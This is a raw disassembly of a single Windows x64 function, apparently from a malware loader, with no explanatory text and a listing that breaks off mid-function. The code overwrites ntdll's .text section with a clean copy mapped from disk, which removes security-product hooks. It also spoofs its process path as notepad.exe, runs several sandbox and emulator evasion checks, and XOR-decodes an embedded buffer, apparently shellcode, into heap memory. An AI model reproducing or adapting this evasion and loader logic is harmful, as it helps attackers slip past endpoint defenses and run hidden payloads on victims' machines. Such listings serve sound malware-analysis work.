Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x898
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x800], xmm6
mov dword [rbp + 0x840], ecx
mov qword [rbp + 0x848], rdx
call fcn.140002c70
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x778], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x770], rax
mov dword [rbp + 0x76c], 0
mov ecx, 0x1a8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x760], rax
mov dword [rbp + 0x7fc], 0
jmp 0x1400015bb
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x76c], edx
mov edx, dword [rbp + 0x76c]
imul edx, edx, 0x190
sub eax, edx
mov dword [rbp + 0x76c], eax
cmp dword [rbp + 0x76c], 0x168
jle 0x140001541
mov eax, dword [rbp + 0x7fc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x760]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x1400015b4
cmp dword [rbp + 0x76c], 0
jns 0x14000156e
mov eax, dword [rbp + 0x7fc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x760]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x1400015b4
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x76c]
movsd xmm0, qword [0x1400065f8]
mulsd xmm0, xmm1
movsd xmm1, qword [0x140006600]
divsd xmm0, xmm1
mov eax, dword [rbp + 0x7fc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x760]
add rax, rdx
cvtsd2ss xmm0, xmm0
movss dword [rax], xmm0
add dword [rbp + 0x7fc], 1
cmp dword [rbp + 0x7fc], 0x69
jle 0x1400014da
mov rax, qword [rbp + 0x760]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x758], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7f0], rax
cmp qword [rbp + 0x7f0], 0
jne 0x14000165b
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7f0], rax
mov ecx, 0x448
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x750], rax
mov dword [rbp + 0x7ec], 0
jmp 0x1400016c6
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006608]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x7ec]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x750]
add rax, rdx
movsd xmm1, qword [0x140006610]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x7ec], 1
cmp dword [rbp + 0x7ec], 0x88
jle 0x140001678
mov dword [rbp + 0x7ec], 0
jmp 0x140001730
mov eax, dword [rbp + 0x7ec]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x750]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7ec]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x750]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x7ec], 1
cmp dword [rbp + 0x7ec], 0x88
jle 0x1400016de
cmp qword [rbp + 0x7f0], 0
je 0x140001cee
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5c0]
mov rax, qword [rbp + 0x758]
mov r10, qword [rbp + 0x7f0]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov ecx, 0x1350
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x748], rax
mov dword [rbp + 0x7e8], 0
jmp 0x1400017e5
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006608]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x7e8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x748]
add rax, rdx
movsd xmm1, qword [0x140006610]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x7e8], 1
cmp dword [rbp + 0x7e8], 0x269
jle 0x140001797
mov dword [rbp + 0x7e8], 0
jmp 0x14000184f
mov eax, dword [rbp + 0x7e8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x748]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7e8]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x748]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x7e8], 1
cmp dword [rbp + 0x7e8], 0x269
jle 0x1400017fd
mov rax, qword [rbp + 0x5c0]
mov qword [rbp + 0x740], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x730], rax
mov rax, qword [rbp + 0x730]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0x740]
mov qword [rbp + 0x720], rax
mov rax, qword [rbp + 0x720]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x740]
add rax, rdx
mov qword [rbp + 0x718], rax
mov word [rbp + 0x7e6], 0
jmp 0x140001cd6
mov rax, qword [rbp + 0x718]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x718]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x7e6]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0x710]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001cc5
mov dword [rbp + 0x588], 0
mov rax, qword [rbp + 0x710]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x710]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x740]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x588]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov ecx, 0x948
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x708], rax
mov ecx, 0x948
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x700], rax
mov ecx, 0x948
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6f8], rax
mov dword [rbp + 0x7e0], 0
jmp 0x140001b25
mov dword [rbp + 0x7dc], 0
jmp 0x140001b11
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7e0]
movsxd rcx, eax
mov rax, rcx
shl rax, 5
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x708]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7dc]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7e0]
movsxd rcx, eax
mov rax, rcx
shl rax, 5
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x700]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7dc]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x7dc], 1
cmp dword [rbp + 0x7dc], 0x20
jle 0x140001a4a
add dword [rbp + 0x7e0], 1
cmp dword [rbp + 0x7e0], 0x11
jle 0x140001a3b
mov dword [rbp + 0x7e0], 0
jmp 0x140001c02
mov dword [rbp + 0x7dc], 0
jmp 0x140001bee
mov eax, dword [rbp + 0x7e0]
movsxd rdx, eax
mov rax, rdx
shl rax, 5
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x708]
add rdx, rax
mov eax, dword [rbp + 0x7dc]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7e0]
movsxd rdx, eax
mov rax, rdx
shl rax, 5
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x700]
add rdx, rax
mov eax, dword [rbp + 0x7dc]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7e0]
movsxd rdx, eax
mov rax, rdx
shl rax, 5
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x6f8]
add rdx, rax
subss xmm0, xmm1
mov eax, dword [rbp + 0x7dc]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7dc], 1
cmp dword [rbp + 0x7dc], 0x20
jle 0x140001b50
add dword [rbp + 0x7e0], 1
cmp dword [rbp + 0x7e0], 0x11
jle 0x140001b41
mov rax, qword [rbp + 0x708]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x700]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6f8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x710]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x710]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x728]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x710]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x740]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x588]
mov rax, qword [rbp + 0x710]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x710]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x740]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x588]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x7e6]
add eax, 1
mov word [rbp + 0x7e6], ax
mov rax, qword [rbp + 0x718]
movzx eax, word [rax + 6]
cmp word [rbp + 0x7e6], ax
jb 0x140001957
mov dword [rbp + 0x58c], 0
mov rax, qword [rbp + 0x778]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x590]
lea rax, [rbp + 0x58c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x6f0]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x598]
add rax, 0x3c
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x6e8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x6e8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x6e0], rax
cmp qword [rbp + 0x6e0], 0
je 0x140002ba1
mov rax, qword [rbp + 0x6e0]
mov edx, 0x5ba
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x6dc], eax
mov qword [rbp + 0x7d0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6d0], rax
cmp qword [rbp + 0x6d0], 0
je 0x140001e64
mov rax, qword [rbp + 0x6d0]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6c8]
mov r9d, 0x3000
mov r8d, 0x3ce
mov edx, 0
call rax
mov qword [rbp + 0x7d0], rax
cmp qword [rbp + 0x7d0], 0
je 0x140002ba1
mov qword [rbp + 0x7c8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6c0], rax
cmp qword [rbp + 0x6c0], 0
je 0x140001eff
mov rax, qword [rbp + 0x6c0]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6b8]
mov r9d, 0x3000
mov r8d, 0x373
mov edx, 0
call rax
mov qword [rbp + 0x7c8], rax
cmp qword [rbp + 0x7c8], 0
je 0x140002ba1
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x6b0]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x6a8], rax
cmp qword [rbp + 0x6a8], 0
jne 0x140002ba1
mov ecx, 0x5c1
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x5c1
jne 0x140002ba1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov qword [rbp + 0x6a0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x698]
mov r9d, 0x3000
mov r8d, 0x308
mov edx, 0
call rax
mov qword [rbp + 0x6a0], rax
cmp qword [rbp + 0x6a0], 0
je 0x140002ba1
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x690], rax
cmp qword [rbp + 0x690], 0
je 0x140002ba1
mov rax, qword [rbp + 0x690]
mov edx, 0x58b
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x68c], eax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x680]
mov ecx, 0
call rax
mov dword [rbp + 0x67c], eax
cmp dword [rbp + 0x67c], 0xffffffff
je 0x140002ba1
mov dword [rbp + 0x678], 0x2ff
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x670]
call rax
mov dword [rbp + 0x66c], eax
mov eax, dword [rbp + 0x678]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x670]
call rax
mov dword [rbp + 0x668], eax
mov eax, dword [rbp + 0x668]
sub eax, dword [rbp + 0x66c]
cmp eax, 0x2cd
jbe 0x140002ba1
mov qword [rbp + 0x660], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x658]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x2d94280
mov ecx, 0
call rax
mov qword [rbp + 0x660], rax
cmp qword [rbp + 0x660], 0
je 0x140002ba1
mov rax, qword [rbp + 0x660]
mov edx, 0x2d94280
mov rcx, rax
call fcn.140004a50
mov rax, qword [rbp + 0x660]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, [rbp + 0xc0]
lea rdx, str.k4T
mov ecx, 0x97
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, word [rdx]
mov word [rax], cx
mov dword [rbp + 0x654], 0
mov ecx, 0xd40
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x648], rax
mov ecx, 0xd40
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x640], rax
mov ecx, 0xd40
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x638], rax
mov dword [rbp + 0x7c4], 0
jmp 0x140002331
mov dword [rbp + 0x7c0], 0
jmp 0x14000231d
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7c4]
cdqe
imul rcx, rax, 0xd4
mov rax, qword [rbp + 0x648]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7c0]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7c4]
cdqe
imul rcx, rax, 0xd4
mov rax, qword [rbp + 0x640]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7c0]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x7c0], 1
cmp dword [rbp + 0x7c0], 0x34
jle 0x140002272
add dword [rbp + 0x7c4], 1
cmp dword [rbp + 0x7c4], 0xf
jle 0x140002263
mov dword [rbp + 0x7c4], 0
jmp 0x1400023ea
mov dword [rbp + 0x7c0], 0
jmp 0x1400023d6
mov eax, dword [rbp + 0x7c4]
cdqe
imul rdx, rax, 0xd4
mov rax, qword [rbp + 0x648]
add rdx, rax
mov eax, dword [rbp + 0x7c0]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7c4]
cdqe
imul rdx, rax, 0xd4
mov rax, qword [rbp + 0x640]
add rdx, rax
mov eax, dword [rbp + 0x7c0]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7c4]
cdqe
imul rdx, rax, 0xd4
mov rax, qword [rbp + 0x638]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x7c0]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7c0], 1
cmp dword [rbp + 0x7c0], 0x34
jle 0x140002359
add dword [rbp + 0x7c4], 1
cmp dword [rbp + 0x7c4], 0xf
jle 0x14000234d
mov rax, qword [rbp + 0x648]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x640]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x638]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x770]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x630], rax
mov rax, qword [rbp + 0x770]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x630]
mov r8d, 0
mov edx, 0x4b9
mov ecx, 0x40000
call rax
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x620]
mov r9, qword [rbp + 0x628]
mov r8d, 0x4b9
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x618], rax
mov rax, qword [rbp + 0x778]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x610], rax
lea rdx, [rbp + 0xc0]
mov rax, qword [rbp + 0x618]
mov r9, qword [rbp + 0x610]
mov r8d, 0x4b9
mov rcx, rax
call r9
mov dword [rbp + 0x7b8], 0
mov dword [rbp + 0x7b4], 0
movabs rax, 0x575e965bd846f78d
movabs rdx, 0x7601b9904428afce
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0xf52b9d9c39ab4271
movabs rdx, 0x619c42a190d38c92
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x85deba8d0cf868b6
movabs rdx, 0xc787acdee6b378cd
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x3bf657f9c7da5a61
movabs rdx, 0xda82b46c6ba2cc2
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x71f0100da82b46c6
movabs rdx, 0x34ac5846986fba
mov qword [rbp + 0x4b], rax
mov qword [rbp + 0x53], rdx
mov dword [rbp + 0x7b0], 0x370
jmp 0x1400025a1
sub dword [rbp + 0x7b0], 1
cmp dword [rbp + 0x7b0], 0x30
jg 0x14000259a
movabs rax, 0x77e8fc88ac49e40d
movabs rdx, 0xd5712d3980414e5f
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x7447ecf498096021
movabs rdx, 0xab09e2e200921677
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xba7996e15bbea5e8
movabs rdx, 0xa7038fbb00a252f6
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x6ea16910ecb752aa
movabs rdx, 0x55d57b81a0d3d166
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0xcfcb2eb4822b4e1a
movabs rdx, 0xd971f92834c38de6
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
mov word [rbp + 0xb0], 0x48
mov dword [rbp + 0x7ac], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x7a0], xmm0
add dword [rbp + 0x7ac], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x7ac]
movsd xmm0, qword [0x140006610]
addsd xmm0, xmm1
mov rax, qword [0x140006618]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003de0
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x7ac]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006610]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x7a0]
addsd xmm0, xmm1
movsd qword [rbp + 0x7a0], xmm0
cmp dword [rbp + 0x7ac], 0x3cd
jle 0x140002667
movsd xmm1, qword [rbp + 0x7a0]
movsd xmm0, qword [0x140006620]
mulsd xmm0, xmm1
movsd qword [rbp + 0x7a0], xmm0
mov dword [rbp + 0x7bc], 0
jmp 0x14000285b
cmp dword [rbp + 0x7b8], 0x50
jne 0x140002825
mov eax, dword [rbp + 0x7bc]
cdqe
movzx edx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x7b8]
cdqe
movzx eax, byte [rbp + rax + 0x60]
xor edx, eax
mov eax, dword [rbp + 0x7bc]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x7b8], 0
mov dword [rbp + 0x798], 0
mov dword [rbp + 0x5e4], 0
mov ecx, 0xc18
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5d8], rax
mov dword [rbp + 0x79c], 0
jmp 0x140002804
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x79c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5d8]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0x79c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5d8]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x798], eax
add dword [rbp + 0x79c], 1
cmp dword [rbp + 0x79c], 0x305
jle 0x140002788
mov rax, qword [rbp + 0x5d8]
mov rcx, rax
call sub.msvcrt.dll_free
jmp 0x140002854
mov eax, dword [rbp + 0x7bc]
cdqe
movzx edx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x7b8]
cdqe
movzx eax, byte [rbp + rax + 0x60]
xor edx, eax
mov eax, dword [rbp + 0x7bc]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x7b8], 1
add dword [rbp + 0x7bc], 1
mov eax, dword [rbp + 0x7bc]
cmp eax, 0x49
jbe 0x140002718
mov dword [rbp + 0x7bc], 0
jmp 0x1400029d3
cmp dword [rbp + 0x7b4], 0x49
jne 0x1400028cf
mov eax, dword [rbp + 0x7bc]
movsxd rdx, eax
mov rax, qword [rbp + 0x618]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7b4]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x7bc]
movsxd rdx, eax
mov rax, qword [rbp + 0x618]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x7b4], 0
jmp 0x1400029cc
mov dword [rbp + 0x794], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x788], xmm0
add dword [rbp + 0x794], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x794]
movsd xmm0, qword [0x140006610]
addsd xmm0, xmm1
mov rax, qword [0x140006618]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003de0
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x794]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006610]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x788]
addsd xmm0, xmm1
movsd qword [rbp + 0x788], xmm0
cmp dword [rbp + 0x794], 0x1ee
jle 0x1400028e5
movsd xmm1, qword [rbp + 0x788]
